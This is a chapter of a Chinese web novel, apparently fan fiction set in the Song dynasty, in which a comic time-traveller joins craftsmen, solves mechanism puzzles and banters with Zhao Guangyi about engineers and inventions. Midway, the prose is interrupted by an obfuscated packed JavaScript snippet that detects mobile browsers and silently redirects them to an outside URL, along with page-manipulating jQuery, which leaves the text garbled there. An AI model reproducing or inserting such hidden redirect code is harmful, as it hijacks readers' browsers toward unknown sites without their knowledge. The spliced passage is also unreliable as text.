我想用自己从后世带来的知识,为这个已经饱受战乱之苦的时代开创太平盛世。 我要提高生产力! 但光靠我一人是不可能拉着大宋科技水平左脚踩右脚飞速提升的,我得找到属于我的助力。 这些日子我在江湖行走,也大致打听清楚了一些事。顺理成章地,我将目光投向了墨山道。 这下,我可知道自己要进什么门派了。 桀桀桀桀,墨山道,快来和我一起手搓珍妮纺纱机和燧发枪吧…… 17.第 17 章 我要加入墨山道! 可我不知道墨山道在哪儿! 我在清河还有开封上上下下搜索了好几天,愣是没人能说清楚。 有人说在山里,有人说在地下。还有人问墨家不是被秦始皇都活埋了吗?我说始皇帝坑的是骗他科研经费的儒家! 因为昨天赵光义在上历史课的时候刚给我讲过这个知识点,嘻嘻。 没想到这年头念个工科都这么费劲。这么看来,墨山道不仅没有固定校区,还没有一套行之有效公开透明的招生选拔制度。 唉,大宋的工科教育出路在哪里? 请正视工科生的教育发展问题!不要让工科生流血又流泪! 最后,我在开封城外的梓匠居问到了一点眉目。 梓匠居,大宋集天下匠人于这一处。我在这儿听到了全国各地的方言,不由得感叹土木老哥的日常真就是背井离乡,一千年前和一千年后都是这样。 在这儿,我遇到了一个老熟人。 “冯大哥?” 冯继升,我在清河的老相识,是文津馆的弟子,没事喜欢琢磨点小发明小创造。 比较重要的是,我认识他的时候还没有精神病发作,所以我在他面前稍微收敛了一些癫劲,相当平和地和他打了招呼:“你也来开封了?” 冯继升见到我也十分惊喜:“少侠?真是巧啊。” 我嘿嘿一笑,说:“是啊,真巧。你来开封有事?还是找田英吗?” 之前在清河我俩就搜寻过田英的踪迹,当然,之后我隔三差五跑去主动挨田叔大飞脚的故事我觉得就没必要和冯继升说了。 这是我独享的奖励时间! 冯继升老实地摇摇头:“不,我已经离开文津馆,加入墨山道了。这次来,我是为了替师门寻找叛徒的。” 我一听,大惊:“什么?你加入墨山道了???” 冯继升憨厚地笑笑:“是啊,嘿嘿,我觉得还是墨山道适合我……” 我一把抓住冯继升的手,坚决地说:“冯大哥!我的好大哥!我也想加入墨山道!拉我!拉我拉我!” 冯继升被我铁钳一样的手攥住,有些惊慌:“什、什么?你也想加入墨山道?少侠你这么热爱学习是一件好事,不过墨山道对理念是有要求的……” “说吧!无论什么要求我都会听!”我双眼闪亮,“我一定会拿出高考百天冲刺的劲头!发奋!自强!把有限的生命投入到无限的工科学习中去!让打灰就打灰!让锯木头就锯木头!” 冯继升:“不,那个,你误会了,我是说,墨山道的理念是‘兼爱非攻’,少侠你要认同这个理念才行。” 我眨眨眼睛:“哦,这个我学过。” 也是赵光义刚讲的知识点,嘻嘻。 “除此之外,墨山道的弟子不能将自己的发明用来做荼害生灵之事。” 我:呃,我的燧发枪…… “必须接受钜子的指挥,完成钜子交代的所有任务,死不旋踵。” 我:这比赵老二还霸道…… “同时也要节用,不铺张浪费,穿金饰玉。” 我:那我购物车里那些268的外观…… 我蔫巴巴地垂下头:“我好像不适合墨山道。” “少侠为什么这么想加入墨山道呢?”冯继升问我。 我小声说:“因为我想搞发明创造,制造一些利国利民的用品。” 冯继升想了想,对我说:“既是如此,少侠可以选择加入鲁门。梓匠居的这些匠人大多都是鲁门的,他们追求机巧的极致,对理念并没有什么要求。” 鲁门?那是什么,山东门? 我知道鲁能! 冯继升解释:“鲁门就是追随信奉鲁班的组织……说起这个,我来开封就是为了寻找一个加入了鲁门的墨山道叛徒,少侠可愿帮我一个忙?” 冯大哥都这么说了,岂有不帮之理! 冯继升的委托还挺简单,他倒不需要我帮他把那个墨山道叛徒打晕了带走(尽管我非常推荐他选择这一项),他只需要从叛徒手上拿走墨门信物就好。 他告诉我,那个叛徒叫“鸢”。 “这是真名还是代号?”我问。 冯继升说这是真名,不过鸢改过姓氏,他也不知道鸢现在姓啥,为了方便,还是直接叫鸢吧。 非常严谨!不愧是工科人! 接完任务,我就开始在梓匠居到处搜寻起“鸢”的踪迹。 当然,路上小手不是很干净地摸点火烬啊,上别人家里开个宝箱啊,还有偷听别人说话啊……这些事也都是要做的! 终于,我摸到了梓匠居边缘的鲁班祠。 祠中供奉着工匠之祖鲁班,里头有三两匠人正在烧香。其中一个匠人叫王大锤,我一听这名字就倍感亲切,鼓励他一定要好好干下去,将来升职加薪走上人生巅峰完全不是问题! 王大锤:? 在我和王大锤愉快交谈的时候,一个高挑的女子在西门豹和李冰的牌位前转身来看我,目光中满是怪异的神色。 这种眼神我已经非常熟悉了,每次我发癫的时候,周围的人都是这么看我的。 干什么,《万万没想到》很好看的! 我转头瞪回去,和高挑女子对视时,我突然感觉对方有点面熟。 面熟这种事,我在地宫里遇到晋中原就感受到一回。赵光义,温无缺,赵大哥,这帮人个个都有两幅面孔。经验告诉我,我绝对不能把这种熟悉感当做错觉忽略,因为说不定我又会因为脸盲而上当受骗! “我们……见过吗?” “你是……樊楼的那位少侠?” 我们同时开口,话音刚落就都愣了愣。 “樊楼?我们在樊楼见过?”我艰难地回忆起来,“你是哪位?是在樊楼扫地的小姐姐?还是飞天跳舞的小姐姐?还是给温无缺喂葡萄的小姐姐?” 高挑女子扯了扯嘴角:“不,都不是,我并非醉花阴弟子。” 我有点尴尬:“是吗,哈哈哈……不好意思啊,我在樊楼的时候注意力全集中在府尹大人的官威上了,你看这事整的!” 高挑女子:??? “在下容鸢,正为府尹大人效力,督造五牙大舰。”容鸢对我一拱手,“同为府尹大人属下,鸢对少侠早有耳闻。少侠侦破唐钱案,助常平仓开仓放粮,义举甚多,在下佩服。” 我一听别人夸我就浑身舒服,忍不住傻笑:“哎!哎!这都没什么,哈哈,没什么!为开封人民服务,我义不容辞!” ……等等,不对! “什么叫同为府尹大人属下?”我问。 容鸢说:“府尹大人命我在金明池督造五牙大舰。” 我:“不是,我是说,我不是赵光义属下啊!” 容鸢恍然:“哦,是了,少侠应当是暗子,出门在外不该揭露少侠身份。” 我急了:“不不不,这都不是一回事儿!我不受赵老二调遣!他不是我上司!他都不给我发钱!!!” 容鸢:“没听说府尹大人欠饷啊……” 我:“他欠的!我给他跑腿干活,他迄今为止也就给我送了毒药一口、大补丸一瓶、女装一套、早饭若干顿、纸鸢一只……不过纸鸢还是非常漂亮的,红绡铺买的呢,你要不要看?” 容鸢:? 容鸢好像在头脑风暴。 没关系的,想不通就不想了,爱情这东西就是非常深奥。 我还是强行给容鸢炫耀了我的纸鸢,容鸢看起来并不太擅长交际,很吃力地试图夸奖,最终只能憋出来一句“看起来就很贵”。 “对了,你叫容鸢,那你知道墨山道的‘鸢’吗?” 容鸢听我这么询问,稍有愣怔:“……我曾是墨山道弟子,不过已经叛出师门,转头鲁道了。” 得来全不费工夫!这就是冯继升委托我找的人! 我兴奋地一拍手,把冯继升要带回墨门信物的事对容鸢一说。本以为容鸢会看在我们都是赵光义手下辛勤打工人的份上痛快地把信物给我,谁知道容鸢又让我帮她两个忙。 一个委托又延伸出两条支线是吧?! 容鸢让我去造像处和瓦窑破解两个机关门,我一听要破解机关,头大如斗,登时就想放弃任务。 不是吧,姐们儿,怎么清河开封到处都是机关,大宋有这科技水平,左脚踩右脚早就起飞了,怎么还停留在农业时代水平呢? “……可以。”我咬牙说,“但要是我破解了,你也要答应我一件事。” 容鸢倒是没有计较:“少侠请说。” “我对工匠之术很感兴趣,也有许多发明创造的点子。我想和你合作,把我设想的造物都制作出来,可以吗?” 容鸢想了想,说:“可以。” 见我脸上表情切换为笑脸,容鸢又补充了一句:“但仅限于我空闲之时。五牙大舰即将完工,我不能耽搁时间。” 我说:“那,那你手下有没有同样擅长制造器物的工匠推荐给我?我看梓匠居这儿的能工巧匠就挺多的!” 容鸢摇头拒绝:“工匠都隶属于朝廷,不可轻易为私人做事。梓匠居和造像处的工匠大多受石守信将军调遣,我手下的人也都有各自的任务,我不能轻易答应你。” 我的脸一下子垮了下来。 “好吧。”我嘀嘀咕咕地说,“之后我再想想办法,我先去破解机关了,唉。” 前往造像处和瓦窑的路上,我一直在想自己的计划要怎么完成。 梓匠居的工匠非常多,水平也都很高,再加上我超越时代的点子,我们完全可以制造出帮助大宋强盛起来的各类发明。 可问题在于,工匠不可能一听我说“让我们来振兴大宋吧!”就嗷嗷跟着我往前冲,工匠也要穿衣吃饭,我没钱付给他们。 而朝廷也警惕有我这样的点子王把工匠聚集在一起搞发明创造,我是言之凿凿说造出来的东西都用来强宋了,万一我是反贼该怎么办? 所以,眼下最好的方法是寻求帮助。 “赵光义——!!!” 我灰头土脸一身水汽地扑进开封府,赵光义在桌案后抬头看我,立即嫌恶地皱起眉:“你又上哪儿疯了?” “我疯了吗?我没疯!是容鸢疯了!” 我火冒三丈地站在桌前开始控诉: “那个容鸢!她脑子是不是有点问题啊!我去找她要墨山道的信物,她不给我,说:少侠你先去破解两个机关吧~好,那我去了,一通钻山洞、爬梯子、调喇叭,还涉及到了声音传播的基本原理,好不容易破解了两个机关,回去找她,她说:你,去水底下,我把信物放水底了,你就游吧。” 说到这儿,我一拧衣角,越来越愤怒:“水底!谁家好人在水底挖实验室!这不有病吗!潜完水我感觉自己都要得外耳道炎了!最可恶的是那个水底实验室还有官兵把守!我说了是容鸢让我来取东西的,一个个嗷嗷冲上来就打我!” 赵光义一挑眉:“你没说你是我的人?” “说了!他们说我胡说八道!”我气得脸通红,“我哪里不像你的人了,啊?除了穿得土了点,精神状态差了点,官话不标准了一点……” 赵光义嘲笑地弯起双眼,问:“然后呢?” “然后?然后我就在水底实验室搞‘男生女生向前冲’,一路跳木板,爬转轴,开了三个机关才把信物拿到手,出去又是一通潜泳!气死我了!” 我哇哇大叫,结果书柜顶上传来小猫“喵喵”的大叫声。我抬头看去,从书架顶端冒出来一个黑白花的小脑袋,对着我“嗷”地打了声招呼。 “昭昭,你是不是也觉得她很过分!” 奶牛猫“咚”地跳下书架,开始在开封府里兴奋地跑酷。 赵光义看起来已经习惯了,或者不如说他已经麻木了。奶牛猫多少沾点精神病,孩子像妈,我希望他包容。 我给这只捡回来的小奶牛猫取名叫“展昭”,因为它养在开封府,主人之一又是未来的官家,基本可以算是御猫。 但赵光义不同意,他说他养的猫当然要姓赵,所以他管小奶牛叫“赵昭”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15173261|163805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国姓猫平时也不只在赵光义的寝殿里活动,它在开封府到处溜达,侍女捕快全都认识它了。大家给它的称呼也都五花八门,什么“黑猫捕头”、“小主子”、“咪咪”,我还偷听到有人说这猫恐怕有癔症,我感觉应该差不多,奶牛猫就是这样的。 昭昭在寝殿里发疯一样跑了一圈,然后过来拿头撞我。我躲开,赵光义见怪不怪地吩咐:“赶紧去沐浴,把你这身脏衣服换了。半个时辰后继续上课。” 我嘿嘿一笑,小快步跑向偏殿:“好!” 自从开始上赵光义私教历史课,我就住在了开封府。因为赵光义每天上课的时间都在他批完公文后,时间通常都很晚,上完课基本就到了就寝时间。 我在开封府拥有了一个属于自己的小客房,客房里慢慢堆起了我的一些七零八碎的玩意儿,比如换洗衣物,首饰,文具,没兑换的蹊跷,草药…… 但赵光义不许我把捡来的小树枝存在开封府,原因也挺一目了然。我为了避免他半夜偷偷来给我喂毒药,没有把小树枝带进客房,而是偷偷藏在了后院的角落里。除了每次存取都要和四个孔武有力的护卫大哥进行一番缠斗之外,其实也还挺方便的。 洗完澡,我换上干净衣服,披散着头发出去找赵光义。 他习惯性地教训了我几句,无非是什么“怎么又不把头发擦干”,身体非常熟练地往旁边挪了挪,给我留出坐的位置,摊开了今天他要讲的课本。 我一屁股坐到赵光义身边,抬手抱住他,把脸埋到他颈窝里蹭了蹭。 “一身湿气!”他嫌弃地推我一下。 “你洗完澡也这样。”我嘟囔,“唉,今天跑了一天,有点累。” 赵光义斜睨着我:“这课你不想上了?” “上。当然要上。” 我抬起头,把下巴搁在他的肩膀,凑近他的耳朵: “在那之前,我有见闻禀报。” 赵光义的耳尖微微泛红,但他没有躲开,镇定地反问:“什么见闻?” “梓匠居的匠人多半被欠薪,是石守信垫钱在给他们发饷,你知道吗?” 赵光义沉默片刻,说:“只有这一件?” “容鸢的上一个父亲是叛将李筠,你应该也知道吧?” 赵光义侧过身,面向我,冷淡地问:“你想说什么?” 我平静地总结:“一个曾经信奉墨门‘兼爱非攻’,父亲反宋的人,我觉得她不可信任。” 迎向赵光义的目光,我又补充了一句:“这绝对不是出于今天她让我‘男生女生向前冲’的私怨。” “我没怀疑你是出于私怨。”赵光义移开双眼,轻轻摩挲起他的扳指,“容鸢早就和李筠脱离关系,她现在是慕容延钊的养女。况且她督造五牙大舰的进度很快,并没有消极怠工的情况出现,暂时还可以信任。” 我拧起眉头,无奈地长出一口气。 “你还是怀疑她?”赵光义问。 “嗯。”我恹恹地说,“她的政审根本就通不过,你们怎么能让政审不过的人做五牙大舰总工程师呢?” 赵光义:“政审是什么?” 我:“三代以内没有犯罪记录,身家清白才能担任要职。” 赵光义好笑道:“这不就是良家子?” 我:“反正就是……就是不对。” 赵光义伸出手,像摸小狗一样摸摸我的脑袋。 “我也怀疑她。”他轻声说,“但她非常好用,在五牙大舰的建造上也没有出什么岔子。正是用人之际,相忍为国啊。” 我磨磨蹭蹭地挨到他身上,嘟囔:“知道了知道了。长江水清,黄河水浊,不能因为水清就偏用,也不能因为水浊就偏废。” 赵光义笑了:“这话倒是很有道理,你自己悟出来的?” 我:“都是我的座师教得好!” 他半是嫌弃半是愉快地捏捏我的脸颊:“花言巧语,油嘴滑舌。” “石守信给匠人发饷的事你也要注意哦。”我被捏住脸,含含糊糊地继续提醒,“欠薪不好,朝廷不能这样。要是匠人全都记石守信的恩情,他们就都是石守信的匠人了。我在造像处也打听了一圈,我感觉石守信也有问题。过两天我去武庙探探他!” 赵光义说:“好,好。不过朝廷是因为什么而没钱呢?” 我皱起鼻子:“这是今天的作业吗?” 赵光义:“你要是能答上来,赵普的位置可以给你坐。” 我撇嘴:“少瞧不起我!我能想出来的,就是需要时间!” 他又笑了,松开捏我脸颊肉的手,去桌上拿笔蘸墨,开始书写。 “那么,我给你督办行走之权。”赵光义轻声说,“五牙大舰竣工在即,我准备邀请南唐与蜀国使臣参加飞花宴,共睹五牙大舰的真容。在那之前,你替我去舰上一览,将五牙大舰的真实情况一一汇报给我。” 我看他写完给容鸢的条子,懒洋洋地问:“好处呢?” 赵光义吹吹墨迹,拖长声音:“君子喻于义,小人喻于利,我们之前似乎讲过这一课。” 我立刻拿脑袋去撞他:“我就是小人!我会缩骨功,我现在就给你变一个小人!” 赵光义被我撞得一晃,嫌弃道:“你怎么和赵昭一个德行,动不动用头去顶人?” 我理直气壮:“我是孩子妈!孩子像我非常正常!” 赵光义翻了个白眼:“胡说八道。行了,你说说你想要什么好处?” 我嘿嘿笑起来,扒着他的胳膊,说:“我想要你给我拨几个匠人听命于我。” 赵光义问:“你要匠人做什么?” 我说:“我要造出能‘轰’炸烂契丹人城墙的武器!我要造出削铁如泥的兵刃!我要造出让麦子亩产一千八的肥料!我要造出让家家户户都住得起的结实的房子!我要造出能比现有机器快上几倍的纺纱机!” 赵光义微微拧着眉头,看我闪闪发光的眼睛,片刻后,他叹了口气。 “如果你说的那些东西都能造出来,那可真是太好了。”